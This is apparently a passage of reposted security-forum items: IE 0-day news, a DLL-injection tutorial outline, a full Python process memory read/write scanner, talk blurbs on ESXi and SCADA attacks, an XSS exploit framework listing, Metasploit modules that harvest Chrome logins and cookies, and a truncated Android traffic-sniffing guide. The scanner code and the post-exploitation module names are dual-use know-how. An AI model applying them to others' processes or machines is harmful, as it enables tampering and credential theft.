then performed against the "Post" mechanism, in order to publish the dropped data; At that point the attacker can access all personal details by simply visualizing the submitted comment of the Amazon's item. The exploit code can be download here, while the following is a video of the described attack: Sursa: Nibble Security: UI Redressing Mayhem: Identification Attacks and UI Redressing on Google Chrome
-
[h=1]Exploited 0-day vulnerability in Internet Explorer discovered[/h] 02 January 2013 [h=2]At the very end of last year a new 0-day exploit against IE6, 7 and 8 was discovered in wild. Microsoft has released a temporary Fix-it pending a formal patch.[/h] The discovered attack appears to have been a water hole attack linked to the Elderwood project, using the Council on Foreign Relations (CFR) website. Water hole attacks first locate and compromise a site likely to be of interest to the intended targets, and then wait for those targets to come visiting. In this instance a 0-day vulnerability affecting Internet Explorer versions 6 to 8 was exploited to infect susceptible visitors. There is some suggestion that the targets include Chinese dissidents. Although the infected website is in New York, the exploit only triggers if the visiting browser is Chinese, Chinese (Taiwan), Japanese, Korean, or Russian. “The vulnerability present in Internet Explore 8 seems to be a user-after-free,” explains Jaime Blasco of AlienVault. “The exploit is able to exploit both Windows XP and Windows 7 bypassing both data execution (DEP) and address space layout randomization (ASLR) protections.” IE9 and 10 users are not vulnerable. If the exploit code is successful and a payload is implanted on the target, it attempts to connect to a C&C server that can download further malware. Although the discovered attack targeted a specific website, other users of the vulnerable IE versions should not ignore the threat. “There is now a Metasploit module (ie_cdwnbindinfo_uaf) that emulates this attack,” warns the Internet Storm Center, “meaning this will move in to mainstream exploitation rapidly, thus mitigation steps should be taken so soon as possible.” The best protection against exploits for this vulnerability, suggests Microsoft, is for the vulnerable code to not be present. Internet Explorer 9 or 10 do not include the vulnerable code. Where possible, then, the solution should be to upgrade to IE9 or IE10 as soon as possible. Where this is not possible – either through company policy or use of Windows XP which does not support IE9 or IE10 – users should apply the Microsoft Fix-it, or switch to a different browser. “If you are using IE9 or IE10, today is your lucky day, because you are not vulnerable to this. For those who are using older versions of IE such as 8 -- what's the matter with you?” comments sinn3r in the Rapid7 Metasploit blog. Microsoft has released a security advisory (2794220) with details of the vulnerability, and provided a Fix-it with details on how to implement it. Sursa: Infosecurity - Exploited 0-day vulnerability in Internet Explorer discovered
-
- 1
-
-
[h=1][C/C++] Reverse Engineering Tutorial for newbies[/h][h=3]Muted[/h] --------------------------------------------------------- ---===> Reverse Engineering Tutorial <===--- --==> For Beginners <==-- on Windows --------------------------------------------------------- -= SECTION 1 (Misc. information) =- I. WHAT THIS TUTORIAL WILL COVER II. PREFACE III. REQUIREMENTS IV. RECOMMENDATIONS -= SECTION 2 (WPM hack) =- I. WHAT TO HACK/HOW TO DO IT II. THE "GAME" III. THE MEMORY SEARCHER IV. TYING IT ALL TOGETHER (WPM) -= SECTION 3 (DLL hack) =- I. ADVANTAGES TO CODE INJECTION II. HOW TO CREATE A BASIC DLL III. DLL FILES -> MORE IN DEPTH IV. FINDING MEMORY ADDRESSES (OllyDbg) V. HOW 'JUMP PATCHING' WORKS VI. CALLING A FUNCTION FROM WITHIN APPENDIXES: A. How to create a DLL project (MSVC, Dev-C++, etc) B. TextControl header file C. Links to function prototypes used (MSDN site) D. WPM Hack (source code) E. DLL Hack (source code) F. DLL Injector (source code) - I take no credit for this G. The game (source code, "Hack me") ------------------------------------------------------------------------------------------------------------------- Section 1 WHAT THIS TUTORIAL WILL COVER: - General theory behind 'hacking' games - Usage of (C/C++) WriteProcessMemory function - Injection of code (patch jumping to a user-defined *.dll) PREFACE (skip if you want): This tutorial is aimed in a very general direction, towards helping people who have never really 'hacked' anything before, but want to try. Somebody who may, or may not have knowledge in the 'field' area, of hacking. If you've never hacked before, but used them, and used memory searchers before, this is for you to read! If you've created a few hacks before, but never tried to inject a *.dll before, or created a patch jump... This tutorial might be for you, but then again, you may already know, but never really have done it. REQUIREMENTS: - Knowledge of C or C++ (if you've only coded in C, know that "naked" is a C++ only keyword) - A compiler that is capable of inline, Intel syntax Assembly (MSVC is, but is not share/freeware) RECOMMENDATIONS: - Knowledge of basic Assembly (extremely helpful) - Knowledge of how to use a memory searcher (TSearch, ArtMoney, or another) - Knowledge of how to use a debugger (OllyDbg, SoftIce) - Knowledge of how computers function, in general (memory addresses, virtual memory addresses, etc) Tutorial: http://www.rohitab.com/discuss/topic/35537-cc-reverse-engineering-tutorial-for-newbies/
-
[h=1]process_memory_scanner.py[/h]By [h=3]cadaver[/h] # process_memory_scanner.py by Cadaver # this is written for Python 2.7 and tested on windows 7 64bit with 32bit processes. # it can scan an entire process for a integer value in under half a second. # it can also scan for any ctype within python ctypes or ctypes.wintypes modules \ # simply by creating an instance of the type and passing it as the target to the Scanner class. # license: public domain import gc from ctypes import * from time import time, sleep from ctypes.wintypes import * from threading import Thread from struct import calcsize, pack, unpack, Struct from win32gui import PyGetString, PySetString from win32process import GetProcessMemoryInfo from win32api import GetCurrentProcessId, GetCurrentProcess, CloseHandle from win32con import MEM_FREE, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION from win32con import PAGE_READWRITE, PAGE_WRITECOPY, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY from win32con import PAGE_EXECUTE_READ, PAGE_READONLY, PROCESS_VM_OPERATION, PROCESS_ALL_ACCESS DEBUG_QUERY = False # print VirtualQueryEx info. DEBUG_SLICE = False # print Python string slice detailed used for comparison. DEBUG_EXCEPTIONS = False # print some ignored exceptions that might occure. DEBUG_ALIGNMENT = False # print alignment info. DEBUG_COMPARE = False # print compare info ASSUME_ALIGNMENT = True # assume any non string type could be byte aligned. ACCESS = PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION WRITABLE = PAGE_READWRITE | PAGE_WRITECOPY |PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY READABLE = PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_READONLY | PAGE_READWRITE MEMORY_STATES = {0x1000: "MEM_COMMIT", 0x10000: "MEM_FREE", 0x2000: "MEM_RESERVE"} MEMORY_PROTECTIONS = {0x10: "PAGE_EXECUTE", 0x20: "PAGE_EXECUTE_READ", 0x40: "PAGEEXECUTE_READWRITE", 0x80: "PAGE_EXECUTE_WRITECOPY", 0x01: "PAGE_NOACCESS", 0x04: "PAGE_READWRITE", 0x08: "PAGE_WRITECOPY"} MEMORY_TYPES = {0x1000000: "MEM_IMAGE", 0x40000: "MEM_MAPPED", 0x20000: "MEM_PRIVATE"} # debug function to time an operation. def timeit (func): import time t1 = time.time () ret = func() print "Time taken:", time.time () - t1 return ret class MEMORY_BASIC_INFORMATION (Structure): _fields_ = [ ("BaseAddress", c_void_p), ("AllocationBase", c_void_p), ("AllocationProtect", DWORD), ("RegionSize", UINT), ("State", DWORD), ("Protect", DWORD), ("Type", DWORD) ] class PyMEMORY_BASIC_INFORMATION: def __init__ (self, MBI): self.MBI = MBI self.set_attributes () def set_attributes (self): self.BaseAddress = self.MBI.BaseAddress self.AllocationBase = self.MBI.AllocationBase self.AllocationProtect = MEMORY_PROTECTIONS.get (self.MBI.AllocationProtect, self.MBI.AllocationProtect) self.RegionSize = self.MBI.RegionSize self.State = MEMORY_STATES.get (self.MBI.State, self.MBI.State) #self.Protect = self.MBI.Protect # uncomment this and comment next line if you want to do a bitwise check on Protect. self.Protect = MEMORY_PROTECTIONS.get (self.MBI.Protect, self.MBI.Protect) self.Type = MEMORY_TYPES.get (self.MBI.Type, self.MBI.Type) class SYSTEM_INFO(Structure): _fields_ = [("wProcessorArchitecture", WORD), ("wReserved", WORD), ("dwPageSize", DWORD), ("lpMinimumApplicationAddress", DWORD), ("lpMaximumApplicationAddress", DWORD), ("dwActiveProcessorMask", DWORD), ("dwNumberOfProcessors", DWORD), ("dwProcessorType", DWORD), ("dwAllocationGranularity", DWORD), ("wProcessorLevel", WORD), ("wProcessorRevision", WORD)] class TARGET: """Given a ctype (initialized or not) this coordinates all the information needed to read, write and compare.""" def __init__ (self, ctype): self.alignment = 1 self.ctype = ctype # size of target data self.size = sizeof (ctype) self.type = ctype._type_ # get the format type needed for struct.unpack/pack. while hasattr (self.type, "_type_"): self.type = self.type._type_ # string_buffers and char arrays have _type_ 'c' # but that makes it slightly slower to unpack # so swap is for 's'. if self.type == "c": self.type = "s" # calculate byte alignment. this speeds up scanning substantially # because we can read and compare every alignment bytes # instead of every single byte. # although if we are scanning for a string the alignment is defaulted to 1 \ # (im not sure if this is correct). elif ASSUME_ALIGNMENT: # calc alignment divider = 1 for i in xrange (4): divider *= 2 if not self.size % divider: self.alignment = divider # size of target ctype. self.type_size = calcsize (self.type) # length of target / array length. self.length = self.size / self.type_size self.value = getattr (ctype, "raw", ctype.value) # the format string used for struct.pack/unpack. self.format = str (self.length) + self.type # efficient packer / unpacker for our own format. self.packer = Struct (self.format) def get_packed (self): """Gets the byte representation of the ctype value for use with WriteProcessMemory.""" return self.packer.pack (self.value) def __str__ (self): return str (self.ctype) [:10] + "..." + " <" + str (self.value)[:10]+ "..." + ">" class LOCK: """Locks a value to process memory by writing to it in a loop.""" def __init__ (self, process_handle, address, target, interval=0.001): self.process_handle = process_handle self.address = address self.target = target self.interval = interval self.lock_ = True def thread_lock (self): self.lock_ = True process_handle = self.process_handle address = self.address target = self.target interval = self.interval while self.lock_: write_target (process_handle, address, target) sleep (interval) def stop (self): self.lock_ = False def start (self): self.lock_ = True Thread (None, self.thread_lock).start () def __del__ (self): self.stop () def OpenProcess (pid=GetCurrentProcessId()): phandle = windll.kernel32.OpenProcess (\ ACCESS, #PROCESS_ALL_ACCESS, # alternative access right for debugging. False, pid ) assert phandle, "Failed to open process!\n%s" % WinError (GetLastError ()) [1] return phandle def VirtualQueryEx (process_handle, address): MBI = MEMORY_BASIC_INFORMATION () MBI_pointer = byref (MBI) size = sizeof (MBI) success = windll.kernel32.VirtualQueryEx ( process_handle, address, MBI_pointer, size ) assert success, "VirtualQueryEx Failed with success == %s.\n%s" % (success, WinError (GetLastError ()) [1]) assert success == size, "VirtualQueryEx Failed because not all data was written." return PyMEMORY_BASIC_INFORMATION (MBI) def VirtualProtectEx (process_handle, address, size, new_protection): old_protection = DWORD () old_protection_pointer = byref (old_protection) success = windll.kernel32.VirtualProtectEx ( process_handle, address, size, new_protection, old_protection_pointer ) assert success, "VirtualProtectEx Failed with success == %s.\n%s" % (success, WinError (GetLastError ()) [1]) return old_protection.value def ReadMemory (process_handle, address, size): cbuffer = c_buffer (size) success = windll.kernel32.ReadProcessMemory ( process_handle, address, cbuffer, size, 0 ) assert success, "ReadMemory Failed with success == %s and address == %s and size == %s.\n%s" % (success, address, size, WinError (GetLastError()) [1]) return cbuffer.raw def WriteMemory (process_handle, address, data): """Writes string data to process and returns success.""" size = len (data) success = windll.kernel32.WriteProcessMemory (\ process_handle, address, data, size, 0 ) assert success, "Failed to write process memory!\n%s" % WinError (GetLastError()) [1] return success def write_target (process_handle, address, target): # target can be a ctype initialized with value. """Writes TARGET instance to address.""" if not isinstance (target, TARGET): target = TARGET (target) return WriteMemory (process_handle, address, target.get_packed()) def read_target (process_handle, address, target): # target can be a ctype initialized with value. """Reads TARGET instance from address and returns the unpacked python equivalent.""" if not isinstance (target, TARGET): target = TARGET (target) bytes_ = ReadMemory (process_handle, address, target.size) return target.packer.unpack (bytes_) [0] def scan_page (process_handle, page_address, target): # target must be TARGET instance. eg TARGET (c_int (123)). """Scans the entire page for TARGET instance and returns the next page address and found addresses.""" information = VirtualQueryEx (process_handle, page_address) base_address = information.BaseAddress region_size = information.RegionSize next_region = base_address + region_size size = target.size format_ = target.format target_value = target.value step = target.alignment unpacker = target.packer.unpack found = [] # Filter out any pages that are not readable by returning the next_region address # and an empty list to represent no addresses found. if information.Type != "MEM_PRIVATE" or \ region_size < size or \ information.State != "MEM_COMMIT" or \ information.Protect not in ["PAGE_EXECUTE_READ", "PAGEEXECUTE_READWRITE", "PAGE_READWRITE"]: return next_region, [] if DEBUG_QUERY: print vars (information) # read the whole page into buffer. page_bytes = ReadMemory (process_handle, base_address, region_size) # iterate over the page buffer bytes in steps of alignment # and unpack those bytes into the format described by # TARGET instance, then compare with TARGET. for i in xrange (0, (region_size - size), step): partial = page_bytes [i:i + size] if unpacker (partial) [0] == target_value: found.append (base_address + i) if DEBUG_SLICE: print "Found at address: %s i: %s Partial: %s Len_Partial: %s Alignment: %s." \ % (base_address+i, i, partial, len(partial), step) if DEBUG_COMPARE: print "Unpacked: %s Partial: %s" % (repr(unpacker (partial)[0]), repr(target_value)) del page_bytes # free the buffer return next_region, found def scan_addresses (process_handle, addresses, target): """Scans addresses and returns a dictionary of {address: value}.""" values = {} for address in addresses: try: value = read_target (process_handle, address, target) except Exception, error: # the process may of freed the page while we are scanning. if DEBUG_EXCEPTIONS: raise continue values [address] = value return values def scan_addresses_for_target (process_handle, addresses, target): """Scan addresses and returns a list of those addresses that match the target value.""" target_value = target.value found = list () values = scan_addresses (process_handle, addresses, target) for address, value in values.items (): if value == target_value: found.append (address) return found def scan_addresses_for_change (process_handle, addresses, target): """scan addresses and returns a list of those addresses that don't match the target value.""" target_value = target.value found = list () values = scan_addresses (process_handle, addresses, target) for address, value in values.items (): if value != target_value: found.append (address) return found def scan_process (process_handle, target): """scans a processes pages for the target value.""" if not isinstance (target, TARGET): target = TARGET (target) if DEBUG_ALIGNMENT: print "Target: %s Size: %s Alignment: %s." % (target.ctype, target.size, target.alignment) si = SYSTEM_INFO () psi = byref (si) windll.kernel32.GetSystemInfo (psi) # get the first address of the first page to scan so we know where to start scanning base_address = si.lpMinimumApplicationAddress # get the last address to scan so we know when to stop scanning. max_address = si.lpMaximumApplicationAddress found = list () page_address = base_address while page_address < max_address: next_page, f = scan_page (process_handle, page_address, target) found.extend (f) page_address = next_page if len (found) >= 60000000: print "[Warning] Scan ended early because too many addresses were found to hold the target data." break gc.collect () return found class Scanner: def __init__ (self, pid, ctype=None): self.pid = pid self.process_handle = OpenProcess (pid) self.target = None self.found = list () self.locks = list () if ctype: self.set_target (ctype) def set_target (self, ctype): self.target = TARGET (ctype) def scan_process(self): self.found = scan_process (self.process_handle, self.target) print len (self.found), "Addresses with value %s found." % (self.target) def scan_for_change (self): self.found = scan_addresses_for_change (self.process_handle, self.found, self.target) print len (self.found), "Addresses with NOT value %s found." % (self.target) def scan_for_new_target (self, ctype): target = TARGET (ctype) self.found = scan_addresses_for_target (self.process_handle, self.found, target) print len (self.found), "Addresses with new value %s found." % (self.target) def scan_addresses (self, addresses=None): if not addresses: addresses = self.found return scan_addresses (self.process_handle, addresses, self.target) def write_target (self, address, target): return write_target (self.process_handle, address, target) def read_target (self, address, target): return read_target (self.process_handle, address, target) def lock_target (self, address, target): if not isinstance (target, TARGET): target = TARGET (target) lock = LOCK (self.process_handle, address, target) lock.start () self.locks.append (lock) def stop_locks (self): for lock in self.locks: lock.stop () self.locks = list () def __del__ (self): del self.found if self.process_handle: CloseHandle (self.process_handle) def test (): global PID, p, s, a, na PID = GetCurrentProcessId () #p = OpenProcess () s = Scanner (PID, create_string_buffer ("teststringthing")) # s = Scanner (PID, c_int (123)) print "Scanning process." timeit (s.scan_process) a = s.found [0] print "Locking found[0]." s.lock_target (a, create_string_buffer ("new str")) print "Writing target." s.write_target (a, create_string_buffer ("new str 2")) print "Scanning for changes." s.scan_for_change () print "Scanning for new target." s.scan_for_new_target (c_int (1)) print "Scanning addresses." s.found = [a] na=s.scan_addresses () print "Reading target." r = s.read_target (a, c_int) print "Writing target." s.write_target (a, create_string_buffer ("test")) s.write_target (a, c_double (88.8)) s.write_target (a, c_int (123)) s.write_target (a, c_float (1.2)) s.stop_locks () Scanner.__doc__ = """ class Scanner: This is the main scanner class that attempts to provide a tidy API for scanning a remote process for values. def __init__ (self, pid, ctype=None): This is the initializer that takes the process iD and any ctype from the ctype module or wintype from the wintype module as the type and value we want to scan for eg c_int (1) - if we want to search for a integer of value 1, or create_string_buffer ("test") - if we want to search for a string of value 'test'. def set_target (self, ctype): Sets the ctype (with value) of the data we want to search for. def scan_process(self): Scans the process for target and saves the found addresses in self.found. def scan_for_change (self): Scans the addresses in self.found for any value that isnt the target value and saves these new addresses in self.found. def scan_for_new_target (self, ctype): Scans the addresses in self.found for a new value and returns the ones that match. def scan_addresses (self, addresses=None): Scans the addresses and returns a dictionary of {address, value}. def write_target (self, address, target): Writes the data described by target to the address. def read_target (self, address, target): Reads the data described by target from address. def lock_target (self, address, target): Locks address to target value. def stop_locks (self): Terminates all current locks. """ if __name__ == "__main__": print Scanner.__doc__ raw_input ("[paused]") This is written in Python 2.7 and requires Pythons win32 extensions. Sursa: process_memory_scanner.py - rohitab.com - Forums
-
Crypto And The Cops: The Law Of Key Disclosure And Forced Decryption Description: Can the government force you to turn over your encryption passphrase or decrypt your data? The law surrounding police attempts to force decryption is developing at breakneck speed, with two major court decisions this year alone. This talk will start off with an in-depth explanation of the Fifth Amendment privilege against self-incrimination, its origins, and how it applies to government attempts to force disclosure of keys or decrypted versions of data in the United States. We'll also discuss law enforcement authority to demand passphrases and decryption of data stored with third parties, and survey key disclosure laws in other countries. Marcia Hofmann is a senior staff attorney at the Electronic Frontier Foundation, where she works on a broad range of digital civil liberties issues including computer security, electronic privacy, and free expression. She currently focuses on computer crime and EFF's Coders' Rights Project, which promotes innovation and protects the rights of curious tinkerers and researchers in their cutting-edge exploration of technology. Prior to joining EFF, Marcia was staff counsel and director of the Open Government Project at the Electronic Privacy Information Center (EPIC). Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Crypto And The Cops: The Law Of Key Disclosure And Forced Decryption
-
Esxi Beast Description: ESXI BEAST Exploiting VMWARE ESXi Binary Protocols Using CANAPE This presentation will cover a demonstration of the new version of the Canape protocol analysis tool being released for Ruxcon. During the course of the presentation various attack scenarios against the VMWare ESXi binary protocol will be demonstrated using Canape. The VMWare ESXi protocol is a complex multi-layered protocol which transitions between many protocol states throughout a connection lifetime. The protocol uses multiplexed frames, compression and encryption all over a single TCP connection. The talk will discuss and outline serious weaknesses within the ESXi protocol and how these can be leveraged from within Canape. During the talk, new features of Canape will be demonstrated live to show the audience how the tool can be used from traffic interception and initial protocol dissection through data injection and fuzzing and finally demonstrating full PoC exploitation all within Canape. Presentation outline: What is Canape Examining the VMWare ESXi protocol Demonstrating ESXi protocol interception Intercepting the ESXi encryption Data injection to brute force user credentials Fuzzing ESXi 0day demonstration Questions Testing and exploiting binary network protocols can be both complex and time consuming. More often than not, custom software needs to be developed to proxy, parse and manipulate the target traffic. Canape is a network protocol analysis tool which takes the existing paradigm of Web Application testing tools (such as CAT, Burp or Fiddler) and applies that to network protocol testing. Canape provides a user interface that facilitates the capture and replaying of binary network traffic, whilst providing a framework to develop parsers and fuzzers. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Esxi Beast
-
Scada Strangelove Description: SCADA STRANGELOVE or: How I Learned to Start Worrying and Love Nuclear Plants Modern civilization unconditionally depends on information systems. It is paradoxical but true that ICS/SCADA systems are the most insecure systems in the world. From network to application, SCADA is full of configuration issues and vulnerabilities. During our report, we will demonstrate how to obtain full access to a plant via: a sniffer and a packet generator FTP and Telnet Metasploit and oslq a webserver and a browser About 20 new vulnerabilities in common SCADA systems including Simatic WinCC will be revealed. Releases: modbuspatrol (mbpatrol) – free tool to discover and fingerprint PLC Simatic WinCC security checklist Simatic WinCC forensic checklist and tools close to real life attack scenario of a Simatic WinCC based plant Intro 1.1 Who we are? 1.2 History of research Overview of ICS/SCADA architecture SCADA network puzzle 3.1 Overview of protocols used in SCADA networks 3.2 Modbus overview 3.3 S7 overview 3.4 Modbus/S7 SCADA/PLC fingerprint (release mbpatrol - free tool for PLC fingerprint) Who is mister PLC? 4.1. Typical PLC architecture 4.2. Security and configuration issues 4.3. Coordinated disclosure of vulnerabilities in several PLC DEMO. Owning plant with ftp and telnet. During demo, I will demonstrate how several vulnerabilities and configuration issues of PLC can be used to get root access to the device, install rootkit and manipulate something in real world. Miss SCADA 6.1. Place of OS and DB in security of SCADA infrastructure 6.2. Simatic WinCC default configuration issues 6.3. Ways to abuse OS and DB vulnerabilities 6.4. Coordinated disclosure of several OS/DB WinCC vulnerabilities 6.5. Simatic WinCC security checklist 6.6. Simatic WinCC postexploitation/forensic Heavy weapon 7.1. SCADA/HMI application architecture (based on Simatic WinCC) 7.2. Clients-side in SCADA network? (release of client-site fingerprint tool for HMI software) 7.3. Coordinated disclosure of vulnerabilities in Siemens Simatic WinCC 7.0 used in exploit. Architecture of exploit DEMO. Owning plant with browser. Exploit scenario. Several 0-day (but responsible disclosed) vulnerabilities in Siemens Simatic WinCC 7.0 used to: Fingerprint presence of WinCC client software Obtain access password to WinCC WebNavigator interface Read registry and files on WinCC box View and manage HMI /PLC/technological process from internet via browser of operator 10 PS. Why physical separation is not enough Will we tell about 0-day vulnerabilities? Yes, but we will coordinate with vendor. So list of vulnerabilities depended on patching speed of Siemens. Will instruments be presented? 29C3: SCADA Strangelove Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Scada Strangelove
-
Owasp Xenotix Xss Exploit Framework 2012 V2 Description: Features of Xenotix XSS Exploit Framework Built in XSS Payloads XSS Key logger XSS Executable Drive-by downloader Automatic XSS Testing XSS Encoder XSS Reverse Shell (new) Download: https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Owasp Xenotix Xss Exploit Framework 2012 V2
-
Post Exploitation - System Information Gathering Description: In this video I will show you how to use Interesting Post – Exploitation Modules for Windows. So I’m going to use four Post – Exploitation Modules. 1 post/windows/gather/enum_applications This module will Dump All the list of Installed Application With Versions. 2 post/windows/gather/usb_history This Module will show you victims USB_History. 3 post/windows/gather/enum_devices This module for Enumerating Hardware. 4 post/windows/gather/enum_chrome This module is very interesting – using this module you will get all the information about chrome browser – Information like, Web Data, Coockie History, Login Data bookmarks, Preferences etc .. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Post Exploitation - System Information Gathering
-
Hackers As A High-Risk Population Description: HACKERS AS A HIGH-RISK POPULATION Harm Reduction Methodology Hackers are a high-risk population. This talk will provide hackers with tools to reduce the risk to themselves and their communities using harm reduction methodology. Hacktivism, social networks, hacking’s learning opportunities, grey area use of communication tools by revolutionaries and countermovements, information transparency opportunities, privacy and security abuse and user risk situations all share one central tension: resolving ethical decisions around potentially harmful behavior. At the same time, those who confuse information with advocacy perceive much of what we do – and discuss – as dangerous. This talk will provide hackers with tools to reduce the risk to themselves and their communities. We’ll examine the similarities between extreme risk populations and the risk / harm situations hackers find themselves in – especially those with exceptional access, power or talent. Importantly, I’ll explain how the controversial – yet effective – harm reduction model can be used specifically as a tool for at-risk hackers, and those faced with decisions that may result in perceived or actual harm. The talk begins with an overview of harm reduction and its roots in reducing risk in European drug culture. We’ll also look at how it is currently used hands-on in the US by urban activists/educators/crisis volunteers such as myself to effectively educate and reduce risk in high-risk, typically underserved, populations. Threaded throughout the talk is the idea that informed consent practices and the acceptance that harmful behavior is immutable can be effective tools to solve ethical decisions. Used on a wider scale, harm reduction in this light can be used to change the cultural conversation when black vs. white solutions (“just say no,” jailing those who publish information or “real names” policies) are unsuccessfully applied to complex problems (drug abuse, abusive use of information, using pseudonyms for harm). We’ll examine instances in which harm reduction would minimize damage (including the “gentleman’s agreement” between hackers), and failures when harm reduction could have mitigated failure or worse. We will specifically look at harm reduction as applied to hacktivism, social networks, hacking’s learning opportunities, grey area use of communication tools by revolutionaries and countermovements, information transparency opportunities, privacy and security abuse, and user risk events. For over a decade I have taught harm reduction methodology and practice in San Francisco, California to global health students, nurses, doctors, outreach and clinic workers, counselors and therapists. The primary organization I do this with is a twice-yearly training for healthcare professionals so they are able to treat populations on the fringes and who live in danger. Additionally, I have instructed and applied harm reduction methods to volunteer work I’ve done to bridge homeless and at-risk youth with neighborhood residents to foster safer quality of life. The third arena in which I instruct and apply harm reduction is a twice-yearly live-action, on-site refugee crisis simulation lead in conjunction with UCSF’s Global Heath Program in which volunteers for [NGO] organizations such as Doctors Without Borders and Red Cross are intensely prepared for emergency refugee relief events. It is with all this work that I see the lens with which the HR methods can seriously benefit the edge-case and high-risk scenarios hackers often find themselves in. PDF : - http://events.ccc.de/congress/2012/Fahrplan/attachments/2228_Harm%20Reduction Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Hackers As A High-Risk Population
-
Sniffing Network Traffic on Android Dejan Lukan December 31, 2012 Introduction There has been a lot of talk about how to connect your laptop though the Android network and use the bandwidth that you’re already paying for. Usually, this requires setting up an access point on an Android device and connecting to it with the laptop. On some devices you have to root the phone to be able to do that, but on newer devices this functionality is already included in the Android itself and we don’t even need to install a special application anymore. All we need to do is configure the access point in settings and connect to it. In this article we won’t talk about how to connect your laptop to the Android access point, but rather the opposite. We’ll be connecting the Android device to the laptop-enabled access point. But why would we do that? The main reason is not related to using the network over the phone (quite the contrary: the laptop should have a valid Internet connection already). We’re doing it because we want to sniff everything the Android device sends and receives over the network. There are a couple of ways to achieve that. One of them is to set a specific application to use a proxy, but the application has to support that setting, and most of them don’t. Another option is to use a system-wide proxy, so all Internet communication goes through it, but that method isn’t as reliable as the option we’ll be using. We’ll set up an access point on our laptop and connect to it via the mobile phone. We need to be aware that there are other options for sniffing the traffic from the Android device, like changing the IP tables on the phone, but they all require a rooted phone, which we don’t want. We want to use the Android device without rooting it and blowing our warranty. Option 1: Changing the Proxy Settings The first thing we need to do when trying to sniff the communication of the specific application on the Android is to connect the Android phone and a laptop to a local area network. This way, both devices will obtain the IP address from the same local host network. In our case we’re going to use the IP address range 192.168.1.0/24. Additionally, we also have to set-up a Burp proxy on our laptop, so we’ll be able to intercept requests made by the Android phone. To set up Burp, we must first download it and start it; it should automatically start listening on a predefined port, which is 8080. If this port is already in use it will use another port, but it doesn’t really matter which port it chooses right now, because we’re going to configure it ourselves anyway. First, let’s start up Burp and check if it starts to listen on the appropriate port. We can do that with the use of the netstat command in Linux. The actual command we have to run is shown below: # netstat -landtp | grep java tcp6 0 0 127.0.0.1:8080 :: LISTEN 31 We can see that Burp is listening on the default predefined port 8080, but there’s also one interesting thing; it’s listening on 127.0.0.1 address. This is the local host address, so the Android device, which has a different IP, won’t be able to connect to it. We need to configure Burp to use global IP address 0.0.0.0, which is used to listen for traffic on all interfaces, not just the local host lo interface. In order to do that, we must go to Proxy–Options under Burp, which will look like the picture below: We can see that Burp is successfully listening on the port 8080, as we already saw. There’s also a check in the loopback only option. This is exactly the option we need to disable. First, we must stop the proxy on port 8080; we can do this by clicking on the check box icon in the running column. After that the Burp proxy will stop and we will be able to load the configuration by clicking on the button edit. The configuration options will then look as follows: Now we must disable the “listen on loopback interface only” option and click on the update button. Burp will then ask us if we really want to start listening on all interfaces and we must press yes. Then we must restart the Burp proxy by enabling it in the running column. The Burp proxy should then be listening on all interfaces, which means we’ll be able to connect to it from the Android phone. Let’s check if the Burp proxy is really listening on all interfaces, with the same netstat command we already used. The output of the command is shown below: # netstat -landtp | grep java tcp6 0 0 :::8080 :: LISTEN 3 Great, Burp is now listening on port 8080 on all interfaces. Remember that you can as easily change the port to a number of your liking, so you don’t have to use 8080 if you don’t like or if you already have some other service listening on that port. Now we need to configure our Android phone to use a proxy. We can do that by changing the settings of the network we’re already connected to. In order to that that, we need to open the Wireless settings and enter the advanced options for the currently connected network. After that we’ll be able to see the “Proxy settings,” where we need to select “Manual”. Then we need to enter the IP address of our laptop computer and the port 8080 we configured Burp to use. Then save the settings. After that we can start any application we want and, if we’re lucky, some packets will start flowing through Burp. We first started the Gmail application, but it didn’t work. This is because some applications don’t honor the proxy being set in the network settings, so it doesn’t really work for all applications, but it does for some. Next we started an application that we won’t mention by name, and we received some traffic in Burp. The traffic can be seen on the picture below: Cool. The first four packets are being sent because the application uses advertisements that are being downloaded from Google servers. And the last packet is actually the application-specific packet that sends a score of some kind on the server. We are also beginning to understand the API interface that the application uses to expose its features to the clients. We can also see the headers that are being generated when the GET request is being sent over the network. This is all right, but so what? We can only sniff HTTP protocol and it only works for some applications, while we can’t sniff the traffic being sent by other applications. You might say that this is lame, but it actually isn’t; later we’ll talk about techniques which we can use to sniff the HTTP traffic from every application out there, no matter which API functions it uses to bypass the proxy settings. Wait, isn’t Burp able to intercept the HTTP and HTTPS traffic? So why are we only able to intercept HTTP traffic? Yes, Burp is able to intercept both clear text HTTP protocol and encrypted HTTPS protocol. The idea is that, when an application on Android tries to use the HTTPS, it first checks the certificate chain, which must be signed by the trusted certificate authority to be able to continue. For example: if we visit some HTTPS link in the Opera web browser, the web browser will display a warning saying that the web site is using a certificate that can’t be trusted and give us the choice to choose whether we would like to continue browsing or cancel the request. If we continue browsing, we’re essentially trusting the invalid certificate, which means in such cases that we’ll be able to intercept traffic using the encrypted HTTPS protocol. But this is a web browser, which should ask the users of they want to continue browsing, because a lot of web sites today use non-signed certificate that can be trusted. Thus we need to be able to continue browsing. But this isn’t so easy with various other applications. What if some web application is trying to send a GET request through the encrypted HTTPS protocol using some API function call that’s natively supported by the Android? Well, in such cases, that function doesn’t have the means to ask the user if he wants to trust the certificate or not; it just succeeds or fails, depending on how the applications was programmed to behave. If the function call accepts the invalid non-signed certificate, then everything will still work and we will be able to intercept traffic through HTTPS; but the default option is to not trust the non-signed 